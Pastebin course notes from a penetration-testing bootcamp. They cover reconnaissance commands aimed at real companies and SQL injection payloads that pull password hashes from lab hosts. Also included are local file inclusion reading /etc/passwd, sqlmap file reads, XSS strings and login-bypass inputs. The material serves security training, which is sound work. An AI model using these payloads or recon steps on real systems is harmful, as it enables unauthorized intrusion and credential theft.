Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ########################################
- # Pentesting 2-Day Bootcamp #
- # By Joe McCray of Strategic Security #
- ########################################
- #############################
- # Here are the class videos #
- #############################
- Day 1: Class video
- https://s3.amazonaws.com/StrategicSec-Videos/2016/NovemberBundle/2016-11-21+09.28+Pentester+2-Day+Bootcamp+2016.mp4
- Day 2: Class video
- Here is the VMWare virtual machine for the class:
- https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
- user: strategicsec
- pass: strategicsec
- ################
- # Day 1: Recon #
- ################
- Email Harvesting
- ----------------
- cd ~/toolz/
- rm -rf theharvester-read-only/
- sudo apt-get install -y python-pyasn1 python-pyasn1-modules
- git clone https://github.com/laramies/theHarvester.git
- cd theHarvester/
- python theHarvester.py
- python theHarvester.py -d motorola.com -l 50 -b google
- python theHarvester.py -d motorola.com -l 50 -b bing
- python theHarvester.py -d motorola.com -l 50 -b linkedin
- python theHarvester.py -d motorola.com -l 50 -b pgp
- File Meta-Data Harvesting
- -------------------------
- cd ~/toolz/
- sudo apt-get install -y python-pip
- strategicsec
- sudo pip install google
- strategicsec
- git clone https://github.com/opsdisk/metagoofil.git
- cd metagoofil/
- python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
- python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
- Whereas:
- -d : I used another domain name aside from Google.com to make it work
- -t : I asked for the program to search two types of public documents whuch are doc and pdf files
- -l : I limited the search result to 100 to make the process faster
- -n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
- -o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
- -f : Save the html links to html_links_<TIMESTAMP>.txt file
- Github Info Harvesting
- ----------------------
- cd ~/toolz/
- sudo pip install gitem
- strategicsec
- gitem organization facebook
- gitem repository facebook react
- gitem --processes 4 user zpao
- Network Topology Enumeration
- ----------------------------
- cd ~/toolz/
- wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
- python gxfr.py --bxfr --dns-lookup -o
- motorola.com
- [ press enter ]
- cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
- cd ~/toolz/
- sudo rm -rf fierce2/
- strategicsec
- git clone https://github.com/mschwager/fierce.git
- cd fierce
- sudo apt-get install -y python3-pip
- strategicsec
- sudo pip3 install -r requirements.txt
- strategicsec
- python3 fierce.py -h
- python3 fierce.py --domain facebook.com --subdomains accounts admin ads
- Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
- python3 fierce.py --domain facebook.com --subdomains admin --traverse 10
- Limit nearby IP traversal to certain domains with the --search flag:
- python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
- Attempt an HTTP connection on domains discovered with the --connect flag:
- python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
- Find Web Servers
- ---------------
- cd ~/toolz/
- for i in $(seq 1 254); do echo "144.188.128.$i" >> motorola-IPs.txt; done
- wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/web-service-finder.sh
- sh web-service-finder.sh motorola-IPs.txt
- Recon-NG (Metasploit for Recon):
- --------------------------------
- cd ~/toolz/
- sudo apt-get install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
- strategicsec
- sudo pip install dicttoxml
- strategicsec
- git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
- cd recon-ng
- ./recon-ng
- At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
- recon-ng > help
- Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.
- recon-ng > [ TAB ] [ TAB ]
- To see all the modules in Recon-ng, we can type:
- recon-ng > show [ TAB ] [ TAB ]
- Ok, let's drive this thing....
- recon-ng > show banner
- recon-ng > show companies
- recon-ng > show contacts
- recon-ng > show credentials
- recon-ng > show dashboard
- recon-ng > show domains
- recon-ng > show hosts
- recon-ng > show keys
- recon-ng > show leaks
- recon-ng > show locations
- recon-ng > show modules
- recon-ng > show netblocks
- recon-ng > show options
- recon-ng > show ports
- recon-ng > show profiles
- recon-ng > show pushpins
- recon-ng > show repositories
- recon-ng > show schema
- recon-ng > show vulnerabilities
- recon-ng > show workspaces
- When you have found a module that you would like to try the process is fairly straight forward.
- Type, “use [Modulename]” to use the module
- Type, “show info” to view information about the module
- And then, “show options” to see what variables can be set
- Set the option variables with “set [variable]”
- Finally, type “run” to execute the module
- ********************************** Begin Day 1 Homework **********************************
- NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
- You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
- You must create a MS WORD document titled 'FirstName-LastName-Pentester-Bootcamp-Day1-Recon-NG.docx' (ex: Joseph-McCray-Pentester-Bootcamp-Day1-Recon-NG.docx).
- You must spell you name EXACTLY as you want it spelled on your class certificate.
- Reference links:
- http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
- http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
- IMPORTANT NOTE:
- Your homework must be submitted via email to both (joe@strategicsec.com and kasheia@strategicsec.com) by Sunday November 27th at midnight EST.
- ********************************** End Day 1 Homework **********************************
- ########################
- # Scanning Methodology #
- ########################
- - Ping Sweep
- What's alive?
- ------------
- sudo nmap -sP 157.166.226.*
- strategicsec
- -if -SP yields no results try:
- sudo nmap -sL 157.166.226.*
- strategicsec
- sudo nmap -sL 157.166.226.* | grep com
- strategicsec
- - Port Scan
- What's where?
- ------------
- sudo nmap -sS 162.243.126.247
- strategicsec
- - Bannergrab/Version Query
- What versions of software are running
- -------------------------------------
- sudo nmap -sV 162.243.126.247
- strategicsec
- - Vulnerability Research
- Lookup the banner versions for public exploits
- ----------------------------------------------
- http://exploit-db.com
- http://securityfocus.com/bid
- https://packetstormsecurity.com/files/tags/exploit/
- #######################################################
- # Day 1: 3rd Party Scanning, and scanning via proxies #
- #######################################################
- https://www.shodan.io/
- Create a FREE account and login
- net:129.188.8.0/24
- cd /home/strategicsec/toolz/
- perl proxyfinder-0.3.pl multiproxy 3 proxies.txt <-- This takes a long time to run
- sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 9050
- strategicsec
- ----------------------------------------------------------------------
- vi ~/toolz/fix-proxychains-dns.sh
- #!/bin/bash
- # This script is called by proxychains to resolve DNS names
- # DNS server used to resolve names
- # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
- DNS_SERVER=4.2.2.2
- if [ $# = 0 ] ; then
- echo " usage:"
- echo " proxyresolv <hostname> "
- exit
- fi
- export LD_PRELOAD=libproxychains.so.3
- dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
- -----------------------------------------------------------------------
- sudo ntpdate pool.ntp.org
- strategicsec
- tor-resolve strategicsec.com
- proxychains nmap -sT -p80 162.243.126.247
- proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
- #########################
- # Playing with Nmap NSE #
- #########################
- nmap -Pn -p80 --script ip-geolocation-* strategicsec.com
- nmap -p80 --script dns-brute strategicsec.com
- nmap --script http-robtex-reverse-ip secore.info
- nmap -Pn -p80 --script=http-headers strategicsec.com
- ls /usr/share/nmap/scripts | grep http
- nmap -Pn -p80 --script=http-* strategicsec.com
- #####################################
- # Writing Your Own Nmap NSE Scripts #
- #####################################
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- -- The Rule Section --
- portrule = function(host, port)
- return port.protocol == "tcp"
- and port.number == 80
- and port.state == "open"
- end
- -- The Action Section --
- action = function(host, port)
- return "Pentester Bootcamp!"
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse strategicsec.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- return "Pentester Bootcamp!"
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse strategicsec.com -p 22,80,443
- OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- return response.status
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- if ( response.status == 200 ) then
- return response.body
- end
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- local string = require "string"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- if ( response.status == 200 ) then
- local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
- return title
- end
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ----------------------------------------------------------------------
- sudo vi /usr/share/nmap/scripts/intro-nse.nse
- -- The Head Section --
- local shortport = require "shortport"
- local http = require "http"
- local string = require "string"
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- action = function(host, port)
- local uri = "/installing-metasploit-in-ubunt/"
- local response = http.get(host, port, uri)
- if ( response.status == 200 ) then
- local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
- if (title) then
- return "Vulnerable"
- else
- return "Not Vulnerable"
- end
- end
- end
- ----------------------------------------------------------------------
- - Ok, now that we've made that change let's run the script
- sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
- ********************************** Begin Day 1 Homework Part 2 **********************************
- NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
- You must take screenshots of you performing all of the scanning tasks that we have done so far today
- You must create a MS WORD document titled 'FirstName-LastName-Pentester-Bootcamp-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Pentester-Bootcamp-Day1-Adv-Scanning.docx).
- You must spell you name EXACTLY as you want it spelled on your class certificate.
- IMPORTANT NOTE:
- Your homework must be submitted via email to both (joe@strategicsec.com and kasheia@strategicsec.com) by Sunday November 27th at midnight EST.
- ********************************** End Day 1 Homework Part 2 **********************************
- ##########################
- # Day 2: Web App Testing #
- ##########################
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- http://54.172.112.249/
- Clicking on the Acer Link:
- http://54.172.112.249/acre2.php?lap=acer
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- http://54.172.112.249/acre2.php?lap=acer'
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
- Page returns the following error:
- Unknown column '100' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
- Page returns the following error:
- Unknown column '50' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
- Page returns the following error:
- Unknown column '25' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
- Page returns the following error:
- Unknown column '50' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- Now we negate the parameter value 'acer' by turning into the word 'null':
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
- http://54.172.112.249/showfile.php?filename=about.txt
- See if you can read files on the file system:
- http://54.172.112.249/showfile.php?filename=/etc/passwd
- We call this attack a Local File Include or LFI.
- Now let's find some text out on the internet somewhere:
- http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
- http://54.172.112.249/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- -----------------Some Automated Testing from the strategicsec VM-----------------
- ##################################################
- # You can download the virtual machine from here #
- ##################################################
- https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
- user: strategicsec
- pass: strategicsec
- cd /home/strategicsec/toolz/sqlmap-dev/
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
- #############################
- # Error-Based SQL Injection #
- #############################
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- #############################
- # Union-Based SQL Injection #
- #############################
- http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
- http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
- http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- - Another way is to see if you can get the backend to perform an arithmetic function
- http://54.213.252.28/bookdetail.aspx?id=(2)
- http://54.213.252.28/bookdetail.aspx?id=(4-2)
- http://54.213.252.28/bookdetail.aspx?id=(4-1)
- http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
- http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
- http://54.213.252.28/bookdetail.aspx?id=1*1
- http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
- http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
- http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
- http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
- http://54.213.252.28/bookdetail.aspx?id=2 &0#
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- Let's go for a quick check to see if it's DBO
- http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- D - 1st Character
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ************************ Class Homework ************************
- Perform a mock penetration test against http://54.172.112.249 using what you have learned in this pastebin.
- You don't need to document it for me, but go through the steps for your own understanding.
- ************************ Class Challenge ************************
- Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
- Here are some sample web app penetration test reports from other companies that you can look at:
- https://s3.amazonaws.com/StrategicSec-Files/WebAppSampleReports.zip
- I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
- ###############################################################
- # Question 1: What is the process that you use when you test? #
- ###############################################################
- Step 1: Automated Testing
- Step 1a: Web Application vulnerability scanners
- -----------------------------------------------
- - Run two (2) unauthenticated vulnerability scans against the target
- - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
- - Run two (2) authenticated vulnerability scans against the target with admin privileges
- The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
- A good web application vulnerability scanner comparison website is here:
- http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
- Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
- Also, be sure to save the scan results and logs. I usually provide this data to the customer.
- Step 1b: Directory Brute Forcer
- -------------------------------
- I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
- Step 2: Manual Testing
- Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
- Step 2a: Spider/Scan the entire site with Burp Suite
- Save the spider and scan results. I usually provide this data to the customer as well.
- Step 2b: Browse through the site using the 3 question method
- Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
- Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
- Here is what I mean:
- http://www.site.com/page.aspx?parametername=parametervalue
- When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
- http://www.site.com/page.aspx?parametername=[ payload ]
- You need to ensure that you send the payload this way, and like this below:
- http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
- This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
- ###########################################
- # Question 2: How much fuzzing is enough? #
- ###########################################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- -------------------------------------------------------------------------------------------
- ############################
- # Trading Web App with WAF #
- # http://54.213.131.105 #
- ############################
- Try the following in the search box:
- <script>alert(123);</script>
- <script>alert(123);</script
- <script>alert(123)
- <script>alert
- <script>
- <script
- <scrip
- <scri
- <scr
- <sc
- <s
- <p
- <
- < s
- Joe'+OR+1=1;--
- Open a new tab in firefox and try this:
- http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
- xss_upload.txt (Upload Bulk Order)
- <script>alert(123);</script>
- Login Box:
- ' or 1=1 or ''='
- anything
- Tamper Data: (notice 2 session IDs)
- AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
- IsAdmin=yes;
- ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
- Profile - Detail (tamper data)
- Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
- joe|set
- ###########################################################
- # Attacking an Oracle/JSP based WebApp with SQL Injection #
- ###########################################################
- http://54.69.156.253:8081/bookcompany/
- user: a' OR 'a'='a
- pass: a' OR 'a'='a
- http://54.69.156.253:8081/bookcompany/author.jsp?id=111
- [ Search by Username ] Joe' OR 'a'='a
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
- Host is running:
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
- User is:
- http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
- Current database is:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement